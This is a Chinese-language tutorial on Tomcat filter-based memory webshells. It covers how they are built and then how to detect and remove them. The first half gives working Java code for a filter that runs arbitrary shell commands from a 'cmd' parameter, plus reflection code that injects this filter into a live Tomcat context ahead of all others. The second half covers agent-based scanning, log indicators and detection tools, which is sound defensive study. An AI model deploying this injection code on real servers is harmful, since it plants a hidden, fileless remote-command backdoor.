随着每年攻防对抗强度的增加,普通的木马在各大厂商的安全设备下,根本难以存活,想要落地一个实体木马的难度逐渐增大。逐步完善的过滤机制、前后端分离的趋势,使得传统的webshell生存空间越来越小。于是,随着时代的发展,内存马出现了。
内存马就是一种无需落地文件就能使用的webshell,它将恶意代码写入内存,拦截固定参数来达到webshell的效果。
发展过程如下:
web服务器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马
php内存马刚开始学习的时候,只知道php内存马,想的都是内存马,php和java应该会有一些相似的特征,应该可以类比一下。
php内存马常常作为AWD对抗赛的常用手段
先通过一个简单的php型看一下内存马的基本实现思路
filterDemoFilterDemofilterDemo/*filterDemo2FilterDemo2filterDemo2/*这里写了两个FilterDemo,代码基本相同,主要是为了展示这个Filter过滤链。
import javax.servlet.*;import java.io.IOException;public class FilterDemo2 implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {System.out.println("第一个Filter 初始化创建");}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {System.out.println("第一个Filter执行过滤操作");filterChain.doFilter(servletRequest,servletResponse);}@Overridepublic void destroy() {}}Tomcat是这样将我们自定义的filter调用的。
1. 根据请求的URL从FilterMaps中找出与之URL对应的Filter名称
2. 根据Filter名称去FilterConfigs中寻找对应名称的FilterConfig
3. 找到对应的FilterConfig 之后添加到FilterChain中,并且返回FilterChain
4. filterChain中调用internalDoFilter遍历获取chain中的FilterConfig,然后从FilterConfig中获取Filter,然后调用Filter的 doFilter方法
模拟注入
cmd_Filterscmd_Filterscmd_Filters/*filterDemoFilterDemofilterDemo/*import javax.servlet.*;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.InputStream;import java.util.Scanner;public class cmd_Filters implements Filter {public void destroy() {}public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {HttpServletRequest req = (HttpServletRequest) request;HttpServletResponse resp = (HttpServletResponse) response;if (req.getParameter("cmd") != null) {boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\A");String output = s.hasNext() ? s.next() : "";resp.getWriter().write(output);resp.getWriter().flush();}chain.doFilter(request, response);}public void init(FilterConfig config) throws ServletException {}}实际过程中,我们是不可能操作web.xml的,我们需要使用反射进行动态注册,
流程如下:
1. 创建一个恶意Filter
2. 利用FilterDef对Filter进行一个封装
3. 将FilterDef添加到FilterDefs和FilterConfig
4. 创建FilterMap ,将我们的Filter和urlpattern相对应,存放到filterMaps中(由于Filter生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的Filter最先触发)
从前面的的分析,可以发现程序在创建过滤器链的时候,context变量里面包含了三个和filter有关的成员变量:filterConfigs,filterDefs,filterMaps
现在要解决的两个问题:
1. 如何获取这个context对象。
2. 如何修改filterConfigs,filterDefs,filterMaps,将恶意类插入。
如何获取context对象
首先,你需要知道
Tomcat中的对应的ServletContext实现是ApplicationContext。
在Web应用中获取的ServletContext实际上是ApplicationContextFacade对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。
当我们能直接获取 request 的时候,可以直接将 ServletContext 转为 StandardContext 从而获取 context。
ServeltContext -> ApplicationContext
ServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);//上面几行的目的是为了获取(ApplicationContext)context通过Java反射获取servletContext所属的类(ServletContext实际上是ApplicationContextFacade对象),使用getDeclaredField根据指定名称context获取类的属性(private final org.apache.catalina.core.ApplicationContext),因为是private类型,所以使用setAccessible取消对权限的检查,实现对私有的访问,此时appctx的值:
ApplicationContext -> StandardContext(ApplicationContext实例中包含了StandardContext实例)
Field stdctx = applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);//上面几行的目的是为了获取(StandradContext)context通过Java反射获取applicationContext所属的类(org.apache.catalina.core.ApplicationContext),使用getDeclaredField根据指定名称context获取类的属性(private final org.apache.catalina.core.StandardContext),因为是private类型,使用setAccessible取消对权限的检查,实现对私有的访问,此时stdctx的值:
这样就可以获取(StandardContext)context对象。
之后组合起来
ServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);// ApplicationContext 为 ServletContext 的实现类ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);Field stdctx = applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);// 这样我们就获取到了 context StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);如何修改对应的属性
addFilterDef: 添加一个filterDef到Context
addFilterMapBefore: 添加filterMap到所有filter最前面
ApplicationFilterConfig: 为指定的过滤器构造一个新的 ApplicationFilterConfig
我们需要实例化一个FilterDef对象,并将恶意构造的恶意类添加到filterDef中
//定义一些基础属性、类名、filter名等filterDemo filter = new filterDemo();FilterDef filterDef = new FilterDef();//name = filterDemofilterDef.setFilterName(name);filterDef.setFilterClass(filter.getClass().getName());filterDef.setFilter(filter);//添加filterDefstandardContext.addFilterDef(filterDef);之后,实例化一个FilterMap对象,并将filterMap到所有filter最前面
//创建filterMap,设置filter和url的映射关系,可设置成单一url如/xyz ,也可以所有页面都可触发可设置为/*FilterMap filterMap = new FilterMap();// filterMap.addURLPattern("/*");filterMap.addURLPattern("/xyz");//name = filterDemofilterMap.setFilterName(name);filterMap.setDispatcher(DispatcherType.REQUEST.name());//添加我们的filterMap到所有filter最前面standardContext.addFilterMapBefore(filterMap);最后,FilterConfigs存放filterConfig的数组,在FilterConfig中主要存放FilterDef和Filter对象等信息
先获取当前filterConfigs信息
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true);Map filterConfigs = (Map) Configs.get(standardContext);通过Java反射来获得构造器(Constructor)对象并调用其newInstance()方法创建创建FilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);然后将恶意的filter名和配置好的filterConfig传入
//name = filterDemofilterConfigs.put(name,filterConfig);至此,我们的恶意filter已经全部装载完成。
最终得到的内存马为
效果如下
之后,在满足urlpattern的情况下,可以执行任意命令
注意,这样产生的内存马在重启之后是会消失的,有师傅写过重启后也不会消失的内存马,师傅们可以抽空看一看。
那么我们该怎么防御,或者说查杀呢?
Tomcat内存马的排除与查杀
原理• 利用Java Agent技术遍历所有已经加载到内存中的class。先判断是否是内存马,是则进入内存查杀。
public class Transformer implements ClassFileTransformer { public byte[] transform(ClassLoader classLoader, String s, Class aClass, ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException { // 识别内存马 if(isMemshell(aClass,bytes)){ // 查杀内存马 byte[] newClassByte = killMemshell(aClass,bytes); return newClassByte; }else{ return bytes; }}}• 访问时抛异常(或跳过调用),中断此次调用
• 从系统中移除该对象
排查方式
• 如果是jsp注入,日志中排查可疑jsp的访问请求。
• 如果是代码执行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入时间和方法
• 根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。
• 如果是servlet或者spring的controller类型,根据上报的webshell的url查找日志(日志可能被关闭,不一定有),根据url最早访问时间确定被注入时间。
• 如果是filter或者listener类型,可能会有较多的404但是带有参数的请求,或者大量请求不同url但带有相同的参数,或者页面并不存在但返回200
查杀方式
可以使用哥斯拉,冰蝎,或者上文提到的内存马进行一个生成,然后再进行查杀。
1. VisualVM(远程调试)
VisualVM是一个集成多个JDK命令行工具的可视化工具。可以作为Java应用程序性能分析和运行监控的工具。开发人员可以利用它来监控、分析线程信息,浏览内存堆数据。系统管理员可以利用它来监测、控制Java应用程序横跨整个网络的情况。
通过图形化进行界面审计
2. arthas
arthas是Alibaba开源的Java诊断工具 https://github.com/alibaba/arthas
是一个比较好用的java应用检测工具,
了解文档可以从这里https://arthas.aliyun.com/zh-cn/
mbean(查看 Mbean 的信息,查看异常Filter/Servlet节点)
mbean | grep "Servlet"dashboard(显示当前面板的实时状态)
jad(反编译指定已加载类的源码)
sc对jvm已经加载的类进行搜索
3. Copagent
这个项目是上面的改进版本,直接可以确定风险等级,并且将内存中的信息全部输出。项目地址:https://github.com/LandGrey/copagent试了一下,只有jdk1.8能够运行,之后会生成一个.copagent,里面有扫描结果。
在result里面可以查看结果,展示详细信息
根据风险等级判断
在相关class文件里查找这个包
代码可以在相关 java文件里找到
4. java-memshell-scannerhttps://github.com/c0ny1/java-memshell-scanner通过jsp脚本扫描并查杀各类中间件内存马,比Java agent要温和一些。
参考文章:1. https://www.cnblogs.com/stateis0/p/9062201.html
2. 站在巨人的肩膀学习Java Filter型内存马
(https://www.cnblogs.com/bmjoker/p/15114884.html)
3. 一文看懂内存马
(https://www.freebuf.com/articles/web/274466.html)